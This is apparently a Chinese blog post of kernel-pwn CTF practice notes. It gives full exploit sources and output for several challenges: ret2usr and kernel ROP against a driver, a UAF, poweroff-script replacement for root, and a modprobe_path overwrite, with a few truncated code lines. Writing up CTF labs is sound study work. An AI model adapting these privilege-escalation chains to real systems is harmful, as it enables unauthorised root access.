Kernel_pwn刷题

2025-07-22

小白学kernel,还是得多做题啊…打算周更kernel刷题笔记,如果笔者一周没更一题出来要么是大成了、要么是寄了

先以一道极其简单的题目开始我的kernel之旅

ccb kylin_driver

描述:题目很怪,开了kaslr但是为了调试改成nokaslr就没法启动了,而且做的时候没发现start.sh里写了pti=on,于是兴高采烈地去做ret2usr后来打不通发现开了pti。

总结:笔者把pti关了做了一遍ret2usr(就当练习了),然后又做了一遍kernel ROP,学会了gef的使用(果然pwndbg在kernel pwn还是功能还是太孱弱了,vmmap都报错),

┌──(root㉿kali)-[/home/kali/Desktop/kernel/core]
└─# cat go.sh   
#!/bin/bash
# 切换到工作目录
cd ~/Desktop/kernel/core
# 编译 exploit
echo "[*] Compiling exploit..."
gcc exp.c -static -masm=intel -g -o exploit || {
    echo "[-] Compilation failed!"
    exit 1
}
# 打包文件系统
echo "[*] Creating rootfs.cpio..."
sudo bash -c "find . | cpio -o --format=newc > ../rootfs.cpio" || {
    echo "[-] Failed to create cpio archive!"
    exit 1
}
# 返回上级目录
cd ..
# 启动内核
echo "[*] Launching kernel..."
sudo ./start.sh

ret2usr(关了pti打)

~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr; 
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        //exit(0);
    }

}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

typedef struct {
    char buf1[32];
    char buf2[512];
} A;
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);
void ret2usr()
{
    prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred_addr;
    commit_creds_kfunc = (int (*)(void*)) commit_creds_addr;

    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "add rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, spawn_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );      
}

int main()
{
    save_status();
    int fd = open("/dev/test", 2);
    if(fd < 0)
    {
        puts("[*]open file error!");
        exit(0);
    }
    A a;
    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    strncpy(a.buf1,"gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc",0x21);
    for(int idx=0;idx<32;idx++) a.buf1[idx] ^= 0xF9u;                             // decode 
    ioctl(fd,0xdeadbeef,&a); 
    
    for (int i = 7; i >= 0; i--) {
            ko_addr <<= 8;
            ko_addr |= ((unsigned char)a.buf2[i] ^ 0xF9);} 
    for (int i = 7; i >= 0; i--) {
            commit_creds_addr <<= 8;
            commit_creds_addr |= ((unsigned char)a.buf2[i+6*8] ^ 0xF9);}
    commit_creds_addr = commit_creds_addr +0xffffffff9cecf720- 0xffffffff9cefb48a;
    printf("ko address: 0x%llx\n", ko_addr);
    printf("commit_creds_addr address: 0x%llx\n", commit_creds_addr);
    
    prepare_kernel_cred_addr = commit_creds_addr +0xffffffffb34cfbe0-0xffffffffb34cf720;
    printf("prepare_kernel_cred_addr address: 0x%llx\n", prepare_kernel_cred_addr);
    size_t rop[0x50];
    int i = 0;
    unsigned long pop_rax_ret = 0xffffffff810b6d10 + (unsigned long)commit_creds_addr - 0xcf720 - 0;
    printf("pop_rax_ret address: 0x%llx\n", pop_rax_ret);

    rop[i++] = (size_t)pop_rax_ret;//pop_rax
    rop[i++] = 0x6f0;
    rop[i++] = (size_t)(ko_addr + 0x9);//mov_rdi,rax
    rop[i++] = (size_t)(ko_addr + 0xd);//mov_cr4_rdi
    rop[i++] = (size_t)ret2usr;
    //0xffffffff810b6d10 : pop rax ; ret
    memcpy((char*)a.buf2, (char*)rop, 0x200);
    for (int i = 0; i < 0x200; i++)
        *(a.buf2+i)^=0xf9;
    ioctl(fd, 0xfeedface, &a);
    return 0;
}
~ $ ./exploit
[*]status has been saved.
ko address: 0xffffffffc02db000
commit_creds_addr address: 0xffffffff8aacf720
prepare_kernel_cred_addr address: 0xffffffff8aacfbe0
pop_rax_ret address: 0xffffffff8aab6d10
~ # [  316.557081][   T15] Authorization warning: Authorization binary is corrupted, Please call 40.
id
uid=0 gid=0

kernel ROP

因为题目只给了bzImage,extract出来的vmlinux没有符号表符号表是裸的,所以swapgs_restore_regs_and_return_to_usermode需要先开root去/proc/kallsyms找

~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t addr, ko_addr, commit_creds_addr, prepare_kernel_cred_addr; 
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }
    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        //exit(0);
    }

}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

typedef struct {
    char buf1[32];
    char buf2[512];
} A;

int main()
{
    save_status();
    int fd = open("/dev/test", 2);
    if(fd < 0)
    {
        puts("[*]open file error!");
        exit(0);
    }
    A a;
    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    strncpy(a.buf1,"gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc",0x21);
    for(int idx=0;idx<32;idx++) a.buf1[idx] ^= 0xF9u;                             // decode 
    ioctl(fd,0xdeadbeef,&a); 
    
    for (int i = 7; i >= 0; i--) {
            ko_addr <<= 8;
            ko_addr |= ((unsigned char)a.buf2[i] ^ 0xF9);} 
    for (int i = 7; i >= 0; i--) {
            commit_creds_addr <<= 8;
            commit_creds_addr |= ((unsigned char)a.buf2[i+6*8] ^ 0xF9);}
    commit_creds_addr = commit_creds_addr +0xffffffff9cecf720- 0xffffffff9cefb48a;
    printf("ko address: 0x%llx\n", ko_addr);
    printf("commit_creds_addr address: 0x%llx\n", commit_creds_addr);
    
    prepare_kernel_cred_addr = commit_creds_addr +0xffffffffb34cfbe0-0xffffffffb34cf720;
    printf("prepare_kernel_cred_addr address: 0x%llx\n", prepare_kernel_cred_addr);
    size_t rop[0x50];
    int i = 0;
    unsigned long pop_rax_ret = 0xffffffff810b6d10 + (unsigned long)commit_creds_addr - 0xcf720 - 0xffffffff81000000;
    printf("pop_rax_ret address: 0x%llx\n", pop_rax_ret);
   // 0xffffffff81090c80 : pop rdi ; ret   //
    unsigned long pop_rdi_ret = 0xffffffff81090c80 + (unsigned long)commit_creds_addr - 0xcf720 - 0xffffffff81000000;
    unsigned long swapgs_restore_regs_and_return_to_usermode =  0xffffffffb1200ff0 - 0xffffffffb06cf720 + commit_creds_addr ;
    printf("swapgs offset: 0x%llx\n", 0xffffffffb1200ff0 - 0xffffffffb06cf720 + 0xcf720) ;
    rop[i++] = (size_t)pop_rdi_ret;
    rop[i++] = (size_t)0;
    rop[i++] = (size_t)prepare_kernel_cred_addr;
    rop[i++] = (size_t)(ko_addr+0x9);//mod_rdi_rax_ret
    rop[i++] = (size_t)commit_creds_addr;
    rop[i++] = (size_t)swapgs_restore_regs_and_return_to_usermode+0x36;
    rop[i++] = (size_t)0;
    rop[i++] = (size_t)0;
    rop[i++] = (size_t)spawn_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp - 8 ;   // userland stack balance
    rop[i++] = user_ss;
    //0xffffffff810b6d10 : pop rax ; ret
    memcpy((char*)a.buf2, (char*)rop, 0x200);
    for (int i = 0; i < 0x200; i++)
        *(a.buf2+i)^=0xf9;
    ioctl(fd, 0xfeedface, &a);
    return 0;
}
~ $ ./exploit
[*]status has been saved.
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
prepare_kernel_cred addr: (nil)
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
commit_creds addr: (nil)
vmlinux_base addr: 0xfffffffffff63720
[*]Error!
ko address: 0xffffffffc0368000
commit_creds_addr address: 0xffffffff9dccf720
prepare_kernel_cred_addr address: 0xffffffff9dccfbe0
pop_rax_ret address: 0xffffffff9dcb6d10
swapgs offset: 0xc00ff0
~ # 

ccb-final NFS_KUAF

这次出题人把所有保护都关了,感觉邮电不祥的预感 (X_X )!!!

┌──(kali㉿kali)-[~/Desktop/kernel]
└─$ cat run.sh       
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 loglevel=8 earlyprintk=serial,ttyS0,115200 nokaslr pti=off" \
    -cpu kvm64,-smep,-smap \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -no-reboot
┌──(kali㉿kali)-[~/Desktop/kernel]
└─$ strings vmlinux | grep "Linux version"
Linux version 5.4.0-100-generic (haski@prod-haski-v2-x86-deb-builder-1) (gcc version 10.2.1 20210110 (Debian 10.2.1-6)) #100.1+m53+2nfs5 SMP Fri Mar 22 12:15:30 UTC 2024

ko文件扣了符号表,函数和上一题一样根本看不出来对应的fallback,学到了一个知识点:可以通过file_operations的偏移找

.rodata:0000000000000560 off_560         dq offset __this_module ; DATA XREF: .data:00000000000008B0↓o
.rodata:0000000000000568                 align 10h
.rodata:0000000000000570                 dq offset sub_43 //read
.rodata:0000000000000578                 dq offset sub_217 //write
.rodata:0000000000000580                 db    0
......
.rodata:00000000000005AF                 db    0
.rodata:00000000000005B0                 dq offset sub_408 //ioctl
.rodata:00000000000005B8                 db    0

struct file_operations { 
  struct module *owner;//拥有该结构的模块的指针,一般为THIS_MODULES  
   loff_t (*llseek) (struct file *, loff_t, int);//用来修改文件当前的读写位置  
   ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);//从设备中同步读取数据      
   ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);//向设备发送数据  
   ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的读取操作   
   ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的写入操作   
  int (*readdir) (struct file *, void *, filldir_t);//仅用于读取目录,对于设备文件,该字段为NULL   
   unsigned int (*poll) (struct file *, struct poll_table_struct *); //轮询函数,判断目前是否可以进行非阻塞的读写或写入   
  int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); //执行设备I/O控制命令   
  long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); //不使用BLK文件系统,将使用此种函数指针代替ioctl  
  long (*compat_ioctl) (struct file *, unsigned int, unsigned long); //在64位系统上,32位的ioctl调用将使用此函数指针代替   
  int (*mmap) (struct file *, struct vm_area_struct *); //用于请求将设备内存映射到进程地址空间  
  int (*open) (struct inode *, struct file *); //打开   
  int (*flush) (struct file *, fl_owner_t id);   
  int (*release) (struct inode *, struct file *); //关闭   
  int (*fsync) (struct file *, struct dentry *, int datasync); //刷新待处理的数据   
  int (*aio_fsync) (struct kiocb *, int datasync); //异步刷新待处理的数据   
  int (*fasync) (int, struct file *, int); //通知设备FASYNC标志发生变化   
  int (*lock) (struct file *, int, struct file_lock *);   
  ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);   
  unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);   
  int (*check_flags)(int);   
  int (*flock) (struct file *, int, struct file_lock *);  
  ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);  
  ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);   
  int (*setlease)(struct file *, long, struct file_lock **);   
};

ida逆向发现有一个UAF漏洞,还有个任意函数执行?,而且啥保护没开这不直接ret2usr,打着试试。

我靠,这不ret2usr就能打通吗?这踏马是决赛?😂😂😂

~ $ ./exploit
[*]status has been saved.
~ # whoami
whoami: unknown uid 0
~ # cat exp.c
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }
    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        //exit(0);
    }

}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);
void ret2usr()
{
    prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
    commit_creds_kfunc = (int (*)(void*)) commit_creds;

    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "add rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, spawn_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );      
}
int main()
{
    save_status();
    

    //find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;
    size_t ko_addr;
    commit_creds = 0xffffffff810c5010;
    vmlinux_base = 0xffffffff81028730;
    prepare_kernel_cred = 0xffffffff810c5270;
    ko_addr = 0xffffffffc0002000;

    int fd1 = open("/dev/uaf_device", 2);
    int fd2 = open("/dev/uaf_device", 2);
    size_t buffer[0x30];
    buffer[0]=(size_t)ret2usr;
    write(fd1,buffer,0x100);
    //ioctl(fd1,0);
    read(fd1,buffer,0x100);  
    return 0;
}

0ctf-final-baby

刚在ctfwiki学了偷鸡方法,忽然想到这个题好像也能偷鸡,一般ctf用户对于bin/sbin拥有写权限即可偷鸡,启动脚本里执行poweroff -f

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

由于删掉/sbin/poweroff后,系统默认调用/bin/poweroff,我们修改poweroff为/bin/sh su root即可获取权限

/ $ ls -la
total 2680
drwxrwxr-x   13 ctf      ctf              0 Jun 23 01:55 .
drwxrwxr-x   13 ctf      ctf              0 Jun 23 01:55 ..
-rw-------    1 ctf      ctf             10 Jun 23 01:55 .ash_history
-rwxrwxrwx    1 ctf      ctf           6520 Jan 28  2019 baby.ko
drwxrwxr-x    2 ctf      ctf              0 Jun 18 08:18 bin
drwxr-xr-x    7 root     root          2940 Jun 23 01:55 dev
drwxrwxr-x    3 ctf      ctf              0 Jun 18 08:18 etc
-rwxrwxr-x    1 ctf      ctf         898536 Jun 20 08:11 exp
-rw-rw-r--    1 ctf      ctf           2300 Jun 20 08:12 exp.c
-rwxrwxr-x    1 ctf      ctf         903696 Jun 20 07:12 exp1
-rw-rw-r--    1 ctf      ctf           3230 Jun 20 07:17 exp1.c
-rwxrwxr-x    1 ctf      ctf         902640 Jun 23 01:51 exploit
-r--------    1 root     root            28 Jun 23 01:55 flag
-rwxrwxrwx    1 ctf      ctf            145 Jun 18 08:24 fs.sh
drwxrwxr-x    3 ctf      ctf              0 Jun 18 08:18 home
-rwxrwxr-x    1 ctf      ctf            409 Jun 18 11:26 init
drwxr-xr-x    3 ctf      ctf              0 Jun 18 08:18 lib
lrwxrwxrwx    1 ctf      ctf             11 Jan 29  2019 linuxrc -> bin/busybox
dr-xr-xr-x   65 root     root             0 Jun 23 01:55 proc
drwx------    2 root     root             0 May 18  2018 root
drwxrwxr-x    2 ctf      ctf              0 Jun 18 08:18 sbin
dr-xr-xr-x   13 root     root             0 Jun 23 01:55 sys
drwxrwxr-x    2 ctf      ctf              0 Jun 15  2017 tmp
drwxrwxr-x    4 ctf      ctf              0 Jun 18 08:18 usr
/ $ which poweroff
/sbin/poweroff
/ $ rm /sbin/poweroff
/ $ ls
baby.ko  etc      exp1     flag     init     proc     sys
bin      exp      exp1.c   fs.sh    lib      root     tmp
dev      exp.c    exploit  home     linuxrc  sbin     usr
/ $ echo '#!/bin/sh' > /bin/poweroff
/ $ echo 'su root -c sh' >> /bin/poweroff
/ $ chmod +x /bin/poweroff
/ $ cat /bin/poweroff
#!/bin/sh
su root -c sh
/ $ exit
sh: can't access tty; job control turned off
/ # whoami
root 
slab-dump slab-name -n -q
slab-contains addr
kmalloc-tracer
kmagic
kchecksec
kpipe -n -q --inode-filter addr

Digging into Kernel

在模块载入时会新建一个 kmem_cache 叫 "lalala",对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置 SLAB_ACCOUNT 标志位故该 kmem_cache 会默认与 kmalloc-192 合并

气死我了怪不得我半天调不出来“lalala” kmem_cache,原来是和kmalloc-192 merge了一下,

然而,在实际劫持freelist进行uaf去分配寻找modprobe_path的过程中,我们发现其实际上是在cred_jar上分配的。

gef> slub-dump cred_jar -n -q
slab_caches @ 0xffffffff824602c0

  kmem_cache: 0xffff888006c82500
    name: cred_jar
    flags: 0x40042000 (__CMPXCHG_DOUBLE | SLAB_PANIC | SLAB_HWCACHE_ALIGN)
    object size: 0xc0 (chunk size: 0xc0)
    offset (next pointer in chunk): 0x0
    red_left_pad: 0x0
    kmem_cache_cpu (cpu0): 0xffff88800702c090
      active page: 0xffffea00001ea0c0
        virtual address: 0xffff888007a83000
        num pages: 1
        in-use: 20/21
        frozen: 1
        layout:   0x000 0xffff888007a83000 (in-use)
                  0x001 0xffff888007a830c0 (in-use)
                  0x002 0xffff888007a83180 (in-use)
                  0x003 0xffff888007a83240 (in-use)
                  0x004 0xffff888007a83300 (in-use)
                  0x005 0xffff888007a833c0 (in-use)
                  0x006 0xffff888007a83480 (in-use)
                  0x007 0xffff888007a83540 (in-use)
                  0x008 0xffff888007a83600 (in-use)
                  0x009 0xffff888007a836c0 (in-use)
                  0x00a 0xffff888007a83780 (in-use)
                  0x00b 0xffff888007a83840 (in-use)
                  0x00c 0xffff888007a83900 (in-use)
                  0x00d 0xffff888007a839c0 (in-use)
                  0x00e 0xffff888007a83a80 (in-use)
                  0x00f 0xffff888007a83b40 (in-use)
                  0x010 0xffff888007a83c00 (in-use)
                  0x011 0xffff888007a83cc0 (in-use)
                  0x012 0xffff888007a83d80 (in-use)
                  0x013 0xffff888007a83e40 (in-use)
                  0x014 0xffff888007a83f00 (in-use)
                  0x015 0xffff888007a83fc0 (never-used)
        freelist (fast path):
                        0xffff88800009cff0
        freelist (slow path): (none)
    next: 0xffff888006c82400

另外地,我们无法通过cat /proc/kallsyms来找到modprobe_path的地址。幸运的是,在__request_module中,存在一个对modprobe_path的引用。由此,我们可以从/proc/kallsyms中找到__request_module函数的地址,并使用gdb连接到kernel,查看该函数附近的汇编代码,即可找到modprobe_path的地址~

image-20250722143155322

最后成功通了,然而可惜的是,我的exp成功率低的可怜(实测只有30%左右)

// gcc exp.c -static -masm=intel -g -o exp
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/user.h>
#include <ctype.h>
#include <stdint.h>
#include <sched.h>
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define ROOT_SCRIPT_PATH  "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag\n";

#define modprobe_a 0xffffffff82444700
void spawn_shell()
{

    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);



    //execve("/bin/sh",0,0);
    /***if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);***/
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() { 
     __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}


void print_hex_buffer(const void *buffer, size_t size) {
    const unsigned char *data = (const unsigned char *)buffer;
    size_t i, j;

    if (buffer == NULL || size == 0) {
        printf("[!] Buffer is NULL or size is 0.\n");
        return;
    }

    printf("Dumping %zu bytes from %p:\n", size, buffer);
    printf("--------------------------------------------------------------------\;

    for (i = 0; i < size; i += 16) {
        printf("0x%08zx | ", i); 

        // 打印十六进制字节
        for (j = 0; j < 16; j++) {
            if (i + j < size) {
                printf("%02x ", data[i + j]);
            } else {
                printf("   "); 
            }
        }
        printf("| "); // 分隔符
        for (j = 0; j < 16; j++) {
            if (i + j < size) {
                if (isprint(data[i + j])) {
                    printf("%c", data[i + j]);
                } else {
                    printf("."); 
                }
            } else {
                printf(" "); 
            }
        }
        printf("\n");
    }
    printf("--------------------------------------------------------------------\;
}


typedef struct{
        void *ptr;
        uint32_t offset;
        uint32_t len;
}Data1;

void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int main()
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();
    bindCore(0);

    char buffer[0x100];
    int fd1 = open("/dev/xkmod", O_RDONLY);
    int fd2 = open("/dev/xkmod", O_RDONLY);
    printf("[*] Start Write File.\r\n");
    int write_fd = open(ROOT_SCRIPT_PATH,O_RDWR|O_CREAT);
    write(write_fd,root_cmd,sizeof(root_cmd));
    close(write_fd);
    system("chmod +x " ROOT_SCRIPT_PATH);
    Data1 data;
    ioctl(fd1, 0x1111111,&data);
    close(fd1); 
     
    printf("[*] Start Leak Addr.\r\n");
    data.len=0x50;
    data.ptr=&buffer;
    data.offset=0x0;
    ioctl(fd2,0x7777777,&data);
    print_hex_buffer(buffer,0x50);
    size_t leak_heap_base ;
    memcpy(&leak_heap_base,&buffer,8);
    leak_heap_base = leak_heap_base&0xfffffffff0000000;
    printf("[*] Leaked Addr : 0x%lx.\r\n",leak_heap_base);

    size_t leak1 = leak_heap_base + 0x9d000-0x10;
    printf("[*] 0x%lx.\r\n",leak1);
    
    memcpy(&buffer,&leak1,8);
    data.len=0x8;
    //print_hex_buffer(buffer,0x50);
    ioctl(fd2,0x6666666,&data);
    for(int i=0;i<2;i++) ioctl(fd2,0x1111111,&data);
    data.len=0x50;
    ioctl(fd2,0x7777777,&data);
    print_hex_buffer(buffer,0x50);
    size_t leak2 ;
    memcpy(&leak2,buffer+0x10,8);
    size_t mod_a = modprobe_a + leak2 - 0xffffffff81000030 -0x10;
     
    printf("[*] Leak Done. Modprobe_addr: 0x%lx.\r\nThen. We will overwrite the M;
    int fd3 = open("/dev/xkmod",O_RDONLY);
    ioctl(fd2,0x1111111,&data);
    close(fd2);
    ioctl(fd3,0x7777777,&data);
   
    data.len=8;
    memcpy(buffer,&mod_a,8);
    ioctl(fd3,0x6666666,&data);
    ioctl(fd3,0x1111111,&data);
    data.len=0x50;
    ioctl(fd3,0x7777777,&data);
    printf("1...\r\n"); 
    ioctl(fd3,0x1111111,&data);
    data.len=0x50;
    ioctl(fd3,0x7777777,&data);
    printf("2...\r\n");
    print_hex_buffer(buffer,0x50); 
    strcpy(buffer+0x10, ROOT_SCRIPT_PATH);  
    ioctl(fd3,0x6666666,&data);
    data.len=0x50;
    ioctl(fd3,0x7777777,&data);
    print_hex_buffer(buffer,0x50); 
    
    printf("[*] Overwrite Done.\r\nThen. Trigger the vuln and Getshell!!!\r\n");
    char flag[0x100];
    int flag_fd;    
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");
    memset(flag, 0, sizeof(flag));

    flag_fd = open("/flag", O_RDWR);
    if (flag_fd < 0) {
            printf("Open flag failed");
            exit(0);
    }

    read(flag_fd, flag, sizeof(flag));
    printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);
    
    spawn_shell();
}

InCtf2021 kqueue

有个堆溢出,溢出长度自定。

